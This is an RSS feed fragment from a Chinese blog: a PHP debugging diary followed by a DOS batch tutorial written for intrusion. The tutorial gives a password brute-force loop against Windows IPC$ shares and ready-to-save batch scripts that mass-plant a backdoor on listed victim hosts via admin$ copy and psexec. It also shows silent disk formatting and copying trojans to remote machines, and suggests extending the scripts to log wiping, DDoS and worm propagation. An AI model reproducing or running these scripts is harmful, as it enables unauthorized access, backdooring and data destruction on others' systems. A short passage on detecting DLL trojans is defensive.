74、或者，俺不需要想得这么复杂。以免将自已搞晕啦。只要能解决问题，解决掉俺的需求就可以。还有。在编码时候，要谨记随时自已思路清晰。以免语入死胡同，走不出来！<br />
75、两个知识盲点，就是if 等判断语句的详累与精确用法。其次，就是就是变量的赋值方法，也就是如何将$a 的值赋给$b??尽快解决这两个知识盲点！<br />
76、开源软件就是有个好处，那就是，俺在编码时，不能确定某个Fucntion的用法，或者不能晚明确某个语法的用法，就可以查找这些开源代码。观察这些编写开源软件的大师的是如何使用这些Fuction以及这些php 语法知识的。并且最终为俺所用。！<br />
77\刚才看了看大师的作品。发觉他们用if也没啥特别，都是用if来判断某个变量的值，或者用fucntion来判断某个变量，或者数组的属性是否符合某个条件或者某种情况，然后，再执行某种操作。没什么特别。那么，俺一直搞不清这个if的判断用法，是不是俺自已搞晕啦。。。想得过于复杂啦？？<br />
78、看来要尽快解决这个变量赋值与以及传值问题，否则，无法将编码继续下去！刚才，经过测试，不可以直接将$a=$b这样来传值。。刚才查了手册，可以考虑用引用赋值变量来代替！<br />
79、if(!$imgsize=&#8221;" &#038;&#038; !$get_imgname=&#8221;"){ 不可以这样写。应该这样写。if(!$imgsize &#038;&#038; !$get_imgname){<br />
80\ 如何将循环输出的变量输成一个字符串变量。那个while Function只是将目录下所有文件都找出来，并且一个一个地显示出来。。。俺在前台看到的输出效果是while不断起作用所至，而不是一个固定字符串变量！！<br />
81、现在有两个问题，变量不能跨Function传递。。还有，就是无法将while 执行输出的每个值弄成一个字符串变量！<br />
82\为什么手工指定文件名就可以下载，并跑完全程呢。。。没有指定就不行呢。俺想程序代码没有问题，语法也应没有问题。问题可能出在从数据库里取出的值方面。。。测试一下，看看，是不是这个问题。。。刚才测试过，好像不关这个图片名字多了个/符的事情。因为。俺直接编辑数据库表，将这个/符去掉，还是报同样的错误。。。可能问题还是在出在源代码方面。<br />
83\为什么测试来测试去都无法显示那两个重要的变量，问题可能是根本就没有执行那Fucntion ，或者说根本没有产生那两个变量，所以，无法进入下一步操作。<br />
84\到底问题出在哪里呢。为什么。改来改去，都是那样的报错呢？为什么无法将其它function产生的变量值无法在其它Function使用呢？？为什么，照理由俺已经将其它function以全局变量的形式来调用。。。那么其它function为何不起作用呢？难道是其它function没有将值传出来给其它Function调用？？<br />
85\问题仍然一样，还是无法得到function的变量值。试过return都不行。。。。那如何取得Fucntion的变量值呢？<br />
86\为何会文件丢失？难道电脑真的中了木马，给删除了一些资料？？<br />
87\基本明白他们的营运方式，他们有一个叫什么博士的外贸系统，应该是叫金博士，其实这个外贸系统也可以叫做CRM系统，至少有这些CRM功能。他们的营运方式。就是他们在外国托管服务器，开设几个外贸网站，为了防止克隆。他们在网站加了功能过滤中国内的IP访问。这些网站其实就是基于ZENCART二次改造过的商城。而他们有自已的加工生产线。自产自销。将自已的生产的产品摆友商城。对外销售。如果客户想找其它在网城没有展示出来的商品。而且客户发来咨询电邮的话。那就主管，将咨询电邮发给相关跟单或者客服，让他们跟进。本公司没有的商品，就由相关跟单与客服跟进，联络其它商家，或者低买其它商家的产品，然后高价买给外国商家，并且从中盈利，相信，他们整体的盈运方式就是这样。。找天，找一个相熟的客服的咨询。了解，确实这个营运流程。还有。那些客服与跟单还要负责写一些商品英文说明材料与资料！<br />
88\为什么不能执行那段检测文件大小类型的那段Fucntion呢？俺只是加了一些链接代码，就不行。那可能是那段代码执行不正确。所以。出错，报错，而影晌后面代码的执行！<br />
89、根本无法集中注意力。无法集中精神盯着代码？为何这样。长时间盯着代码。眼睛很累。也看不入神。长时间盯着代码。可能会失明！变盲！<br />
90、初步看过俺加的代码。思路是清晰的。流程是对的。逻辑也是对的。那为何会报错。那到底是那里问题？为什么加了这段代码，就提示不能执行检查文件大小类型参数？为什么？照理由俺的思路与想法都应没错。只要每天。没有图像文件。就到远程图片服务器拉回本地。然后再判断？？<br />
91、俺就不信凭俺智慧不能解决这个问题！<br />
92、相信自已，相信自已的智慧！·</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1024.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dos批处理命令详解</title>
		<link>http://www.evanjiang.net.cn/archives/1007.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1007.html#comments</comments>
		<pubDate>Fri, 08 May 2009 15:41:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1007</guid>
		<description><![CDATA[<p>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或  .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用 批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提 到的用批处理文件来给系统打补丁、批量植入后门程序等。</p>
<p>一.简单批处理内部命令简介</p>
<p>1.Echo 命令</p>
<p>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。</p>
<p>语法:</p>
<p>echo [{on│off}] [message]
Sample：@echo off / echo hello world</p>
<p>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&#62; &#62;&#62; ^）结合来实现输入一些命</p>
<p>令到特定格式的文件中.这将在以后的例子中体现出来。</p>
<p>2.@ 命令</p>
<p>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使</p>
<p>用的命令啦。</p>
<p>Sample：@echo off
@echo Now initializing the program,please wait a minite&#8230;
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这</p>
<p>个参数给我们，效果和/y是一样的。)</p>
<p>3.Goto 命令</p>
<p>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。</p>
<p>语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end</p>
<p>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令</p>
<p>就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
<p>4.Rem 命令</p>
<p>注释命令，在C语言中相当与/*&#8212;&#8212;&#8211;*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你</p>
<p>自己日后修改。</p>
<p>Rem Message
Sample：@Rem Here is [...]]]></description>
			<content:encoded><![CDATA[<p>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或  .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用 批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提 到的用批处理文件来给系统打补丁、批量植入后门程序等。</p>
<p>一.简单批处理内部命令简介</p>
<p>1.Echo 命令</p>
<p>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。</p>
<p>语法:</p>
<p>echo [{on│off}] [message]<br />
Sample：@echo off / echo hello world</p>
<p>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命</p>
<p>令到特定格式的文件中.这将在以后的例子中体现出来。</p>
<p>2.@ 命令</p>
<p>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使</p>
<p>用的命令啦。</p>
<p>Sample：@echo off<br />
@echo Now initializing the program,please wait a minite&#8230;<br />
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这</p>
<p>个参数给我们，效果和/y是一样的。)</p>
<p>3.Goto 命令</p>
<p>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。</p>
<p>语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<br />
Sample：<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />
@Rem check parameters if null show usage<br />
:noparms<br />
echo Usage: monitor.bat ServerIP PortNumber<br />
goto end</p>
<p>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令</p>
<p>就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
<p>4.Rem 命令</p>
<p>注释命令，在C语言中相当与/*&#8212;&#8212;&#8211;*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你</p>
<p>自己日后修改。</p>
<p>Rem Message<br />
Sample：@Rem Here is the description.</p>
<p>5.Pause 命令</p>
<p>运行 Pause 命令时，将显示下面的消息：<br />
Press any key to continue . . .</p>
<p>Sample：<br />
@echo off<br />
:begin<br />
copy a:*.* d：\back<br />
echo Please put a new disk into driver A<br />
pause<br />
goto begin</p>
<p>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入</p>
<p>驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。<br />
<span id="more-1007"></span><br />
6.Call 命令</p>
<p>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签</p>
<p>。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。</p>
<p>语法:<br />
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]</p>
<p>参数:<br />
[Drive:}[Path] FileName</p>
<p>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</p>
<p>7.start 命令</p>
<p>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />
常用参数：<br />
MIN 开始时窗口最小化<br />
SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />
HIGH 在 HIGH 优先级类别开始应用程序<br />
REALTIME 在 REALTIME 优先级类别开始应用程序<br />
WAIT 启动应用程序并等候它结束<br />
parameters 这些为传送到命令/程序的参数</p>
<p>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE不等应用程序终止就返回命令提示。如果在命令脚本</p>
<p>内执行，该新行为则不会发生。</p>
<p>8.choice 命令</p>
<p>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提</p>
<p>示可输入的字符，之间无空格。它的返回码为1234&#8230;&#8230;</p>
<p>如: choice /c:dme defrag,mem,end</p>
<p>将显示<br />
defrag,mem,end[D,M,E]?</p>
<p>Sample：<br />
Sample.bat的内容如下:</p>
<p>@echo off<br />
choice /c:dme defrag,mem,end<br />
if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />
if errorlevel 2 goto mem<br />
if errotlevel 1 goto end</p>
<p>:defrag<br />
c:\dos\defrag<br />
goto end<br />
:mem<br />
mem<br />
goto end<br />
:end<br />
echo good bye</p>
<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行</p>
<p>标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后</p>
<p>都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
<p>9.If 命令</p>
<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。</p>
<p>有三种格式:</p>
<p>1)、if &#8220;参数&#8221; == &#8220;字符串&#8221; 　待执行的命令<br />
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）</p>
<p>如if &#8220;%1&#8243;==&#8221;a&#8221; format a:<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms</p>
<p>2)、if exist 文件名　 待执行的命令<br />
如果有指定的文件，则条件成立，运行命令，否则运行下一句。</p>
<p>如if exist config.sys edit config.sys</p>
<p>3)、if errorlevel / if not errorlevel 数字　 待执行的命令<br />
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。</p>
<p>如if errorlevel 2 goto x2</p>
<p>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
<p>10.for 命令</p>
<p>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
<p>for {%variable│%%variable} in (set) do command [ CommandLineOptions]<br />
%variable 指定一个单一字母可替换的参数。<br />
(set) 指定一个或一组文件。可以使用通配符。<br />
command 指定对每个文件执行的命令。<br />
command-parameters 为特定命令指定参数或命令行开关。</p>
<p>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持:<br />
FOR /D %variable IN (set) DO command [command-parameters]</p>
<p>如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。</p>
<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]</p>
<p>检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用</p>
<p>当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
<p>FOR /L %variable IN (start,step,end) DO command [command-parameters]</p>
<p>该集表示以增量形式从开始到结束的一个数字序列。<br />
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />
序列 (5 4 3 2 1)。</p>
<p>FOR /F ["options"] %variable IN (file-set) DO command<br />
FOR /F ["options"] %variable IN (&#8220;string&#8221;) DO command<br />
FOR /F ["options"] %variable IN (&#8216;command&#8217;) DO command</p>
<p>或者，如果有 usebackq 选项:</p>
<p>FOR /F ["options"] %variable IN (file-set) DO command<br />
FOR /F ["options"] %variable IN (&#8220;string&#8221;) DO command<br />
FOR /F ["options"] %variable IN (&#8216;command&#8217;) DO command</p>
<p>filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读</p>
<p>取并经过处理。<br />
处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字</p>
<p>符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白</p>
<p>行。您可通过指定可选 &#8220;options&#8221; 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同</p>
<p>解析选项的关键字。这些关键字为:</p>
<p>eol=c &#8211; 指一个行注释字符的结尾(就一个)<br />
skip=n &#8211; 指在文件开始时忽略的行数。<br />
delims=xxx &#8211; 指分隔符集。这个替换了空格和跳格键的默认分隔符集。<br />
tokens=x,y,m-n &#8211; 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的<br />
格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一</p>
<p>个符号解析之分配并接受行的保留文本。<br />
usebackq &#8211; 指定新语法已在下类情况中使用:<br />
在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set中使用双引号扩起</p>
<p>文件名称。</p>
<p>sample1:<br />
FOR /F &#8220;eol=; tokens=2,3* delims=, &#8221; %i in (myfile.txt) do command</p>
<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for</p>
<p>程序体；用逗号和/或 空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用</p>
<p>%j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用</p>
<p>双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会</p>
<p>被理解成是用作定义某个要分析的字符串的。</p>
<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens=</p>
<p>一行指定最多 26 个符号，只要不试图说明一个高于字母 &#8216;z&#8217; 或&#8217;Z&#8217; 的变量。请记住，FOR 变量是单一字</p>
<p>母、分大小写和全局的；同时不能有 52 个以上都在使用中。</p>
<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。</p>
<p>这样，该字符串会被当作一个文件中的一个单一输入行。</p>
<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符</p>
<p>串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此</p>
<p>，以下例子:</p>
<p>FOR /F &#8220;usebackq delims==&#8221; %i IN (`set`) DO @echo %i</p>
<p>会枚举当前环境中的环境变量名称。</p>
<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:</p>
<p>~I &#8211; 删除任何引号(&#8220;)，扩充 %I<br />
%~fI &#8211; 将 %I 扩充到一个完全合格的路径名<br />
%~dI &#8211; 仅将 %I 扩充到一个驱动器号<br />
%~pI &#8211; 仅将 %I 扩充到一个路径<br />
%~nI &#8211; 仅将 %I 扩充到一个文件名<br />
%~xI &#8211; 仅将 %I 扩充到一个文件扩展名<br />
%~sI &#8211; 扩充的路径只含有短名<br />
%~aI &#8211; 将 %I 扩充到文件的文件属性<br />
%~tI &#8211; 将 %I 扩充到文件的日期/时间<br />
%~zI &#8211; 将 %I 扩充到文件的大小<br />
%~$PATH:I &#8211; 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变</p>
<p>量未被定义，或者没有找到文件，此组合键会扩充空字符串</p>
<p>可以组合修饰符来得到多重结果:</p>
<p>%~dpI &#8211; 仅将 %I 扩充到一个驱动器号和路径<br />
%~nxI &#8211; 仅将 %I 扩充到一个文件名和扩展名<br />
%~fsI &#8211; 仅将 %I 扩充到一个带有短名的完整路径名<br />
%~dp$PATH:i &#8211; 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。<br />
%~ftzaI &#8211; 将 %I 扩充到类似输出线路的 DIR</p>
<p>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似</p>
<p>%I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。</p>
<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
<p>sample2：</p>
<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。</p>
<p>我们用net use \\ip\ipc$ &#8220;password&#8221; /u:&#8221;administrator&#8221;来尝试这和目标主机进行连接，当成功时记下</p>
<p>密码。<br />
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ &#8220;i%&#8221; /u:&#8221;administrator&#8221;<br />
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给</p>
<p>find命令－－<br />
for /f i%% in (dict.txt) do net use \\ip\ipc$ &#8220;i%%&#8221; /u:&#8221;administrator&#8221;│find &#8220;:命令成功完</p>
<p>成&#8221;&gt;&gt;D:\ok.txt ，这样就ko了。</p>
<p>sample3：</p>
<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会</p>
<p>变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵</p>
<p>，看下去你就会明白了。</p>
<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />
@for /f &#8220;tokens=1,2,3 delims= &#8221; %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数</p>
<p>%i %j %k。<br />
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码</p>
<p>（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容</p>
<p>是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。</p>
<p>代码雏形：<br />
&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as a batchfile(I call it main.bat ) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;<br />
@echo off<br />
@if &#8220;%1&#8243;==&#8221;" goto usage<br />
@for /f &#8220;tokens=1,2,3 delims= &#8221; %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />
@goto end<br />
:usage<br />
@echo run this batch in dos modle.or just double-click it.<br />
:end<br />
&#8212;&#8212;&#8212;&#8212;&#8212; cut here then save as a batchfile(I call it main.bat ) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- cut here then save as a batchfile(I call it door.bat) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
@net use \\%1\ipc$ %3 /u:&#8221;%2&#8243;<br />
@if errorlevel 1 goto failed<br />
@echo Trying to establish the IPC$ connection &#8230;&#8230;&#8230;&#8230;OK<br />
@copy windrv32.exe\\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3</p>
<p>&gt;&gt;ko.txt<br />
@psexec \\%1 c:\winnt\system32\windrv32.exe<br />
@psexec \\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br />
:failed<br />
@echo Sorry can not connected to the victim.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; cut here then save as a batchfile(I call it door.bat) &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一</p>
<p>目录下.批处理内容<br />
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功</p>
<p>能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
<p>二.如何在批处理文件中使用参数</p>
<p>批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见</p>
<p>，我们就不考虑它了。</p>
<p>sample1：fomat.bat</p>
<p>@echo off<br />
if &#8220;%1&#8243;==&#8221;a&#8221; format a:<br />
:format<br />
@format a:/q/u/auotset<br />
@echo please insert another disk to driver A.<br />
@pause<br />
@goto fomat<br />
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添</p>
<p>足了～</p>
<p>sample2：</p>
<p>当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令</p>
<p>写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令</p>
<p>了。<br />
@echo off<br />
@net use \\1%\ipc$ &#8220;2%&#8221; /u:&#8221;3%&#8221; 注意哦，这里PASSWORD是第二个参数。<br />
@if errorlevel 1 echo connection failed<br />
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了.No.3</p>
<p>三.如何使用组合命令(Compound Command)</p>
<p>1.&amp;</p>
<p>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]</p>
<p>用这种方法可以同时执行多条命令，而不管命令是否执行成功</p>
<p>Sample：<br />
C:\&gt;dir z: &amp; dir c:\Ex4rch<br />
The system cannot find the path specified.<br />
Volume in drive C has no label.<br />
Volume Serial Number is 0078-59FB</p>
<p>Directory of c:\Ex4rch</p>
<p>2002-05-14 23:51 .<br />
2002-05-14 23:51 ..<br />
2002-05-14 23:51 14 sometips.gif</p>
<p>2.&amp;&amp;<br />
Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]</p>
<p>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则</p>
<p>一直执行完所有命令；<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Sample：<br />
C:\&gt;dir z: &amp;&amp; dir c:\Ex4rch<br />
The system cannot find the path specified.</p>
<p>C:\&gt;dir c:\Ex4rch &amp;&amp; dir z:<br />
Volume in drive C has no label.<br />
Volume Serial Number is 0078-59FB</p>
<p>Directory of c:\Ex4rch</p>
<p>2002-05-14 23:55 .<br />
2002-05-14 23:55 ..<br />
2002-05-14 23:55 14 sometips.gif<br />
1 File(s) 14 bytes<br />
2 Dir(s) 768,671,744 bytes free<br />
The system cannot find the path specified.</p>
<p>在做备份的时候可能会用到这种命令会比较简单，如：<br />
dir file&amp;://192.168.0.1/database/backup.mdb &amp;&amp; copy file&amp;://192.168.0.1/database/backup.mdb</p>
<p>E:\backup<br />
如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法</p>
<p>可以替换IF exist了.</p>
<p>3.││</p>
<p>Usage：第一条命令 ││ 第二条命令 [││ 第三条命令...]</p>
<p>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的</p>
<p>命令则一直执行完所有命令；</p>
<p>Sample：<br />
C:\Ex4rch&gt;dir sometips.gif ││ del sometips.gif<br />
Volume in drive C has no label.<br />
Volume Serial Number is 0078-59FB</p>
<p>Directory of C:\Ex4rch</p>
<p>2002-05-14 23:55 14 sometips.gif<br />
1 File(s) 14 bytes<br />
0 Dir(s) 768,696,320 bytes free</p>
<p>组合命令使用的例子：</p>
<p>sample：<br />
@copy trojan.exe \\%1\admin$\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3</p>
<p>&gt;&gt;victim.txt</p>
<p>四、管道命令的使用</p>
<p>1.│ 命令<br />
Usage：第一条命令 │ 第二条命令 [│ 第三条命令...]<br />
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。</p>
<p>sample：<br />
time /t&gt;&gt;D:\IP.log<br />
netstat -n -p tcp│find &#8220;:3389&#8243;&gt;&gt;D:\IP.log<br />
start Explorer</p>
<p>看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登</p>
<p>录用户的IP。</p>
<p>2.&gt;、&gt;&gt;输出重定向命令<br />
将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内</p>
<p>容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。</p>
<p>sample1：<br />
echo hello world&gt;c:\hello.txt (stupid example?)</p>
<p>sample2:<br />
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不</p>
<p>例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<br />
运行CMD&#8211;转换目录到system32&#8211;dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<br />
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<br />
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<br />
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运</p>
<p>行:<br />
CMD&#8211;fc exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt dllback1.txt&gt;diff.txt.(用FC命令比</p>
<p>较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,</p>
<p>然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没</p>
<p>有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到</p>
<p>回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。</p>
<p>3.&lt; 、&gt;&amp; 、&lt;&amp;<br />
&lt; 从文件中而不是从键盘中读入命令输入。<br />
&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。<br />
&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<br />
这些并不常用，也就不多做介绍。</p>
<p>五.如何用批处理文件来操作注册表</p>
<p>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删</p>
<p>除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统</p>
<p>的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操</p>
<p>作注册表.(我们可以用批处理来生成一个REG文件)<br />
关于注册表的操作，常见的是创建、修改、删除。</p>
<p>1.创建<br />
创建分为两种，一种是创建子项(Subkey)</p>
<p>我们创建一个文件，内容如下：</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]</p>
<p>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为&#8221;hacker&#8221;的子</p>
<p>项。</p>
<p>另一种是创建一个项目名称</p>
<p>那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：</p>
<p>Windows Registry Editor Version 5.00</p>
